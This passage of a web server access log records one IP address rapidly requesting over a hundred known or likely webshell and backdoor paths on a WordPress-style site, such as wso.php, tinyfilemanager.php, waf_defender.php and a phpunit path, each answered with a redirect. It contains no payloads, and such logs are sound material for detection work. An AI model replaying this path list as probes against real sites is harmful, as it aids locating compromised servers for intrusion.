AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:49 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:49 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:49 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:50 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:52:50 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:52:50 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:52:51 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:51 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:51 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:51 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:52:51 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:52 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:52 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:52 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:52 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:53 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:53 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:53 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:52:53 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:54 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:54 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:54 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:54 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:55 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:55 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:55 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:55 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:56 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:56 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:56 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:56 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:57 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:57 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:57 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:57 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:58 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:58 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:52:58 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:58 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:52:59 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:59 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:59 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:59 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:00 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:53:00 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:00 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:01 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:01 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:02 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:53:02 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:02 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:03 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:03 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:03 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:03 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:04 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:53:04 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:04 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:53:05 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:05 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:05 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:05 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:06 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:06 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:06 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:53:06 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:53:07 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:07 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:07 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:07 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:08 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:08 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:08 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:53:08 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:09 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:09 +0300] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:09 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:53:09 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:10 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:10 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:10 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:10 +0300] "GET /anonse/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:11 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:11 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:11 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:53:11 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:12 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:12 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:12 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:12 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:53:12 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:13 +0300] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:13 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:53:13 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:14 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:14 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:53:14 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:53:14 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:53:15 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:15 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:15 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:53:15 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:16 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:16 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:16 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:16 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:53:17 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:17 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:17 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:17 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:18 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:53:18 +0300] "GET /wp-atomx.php 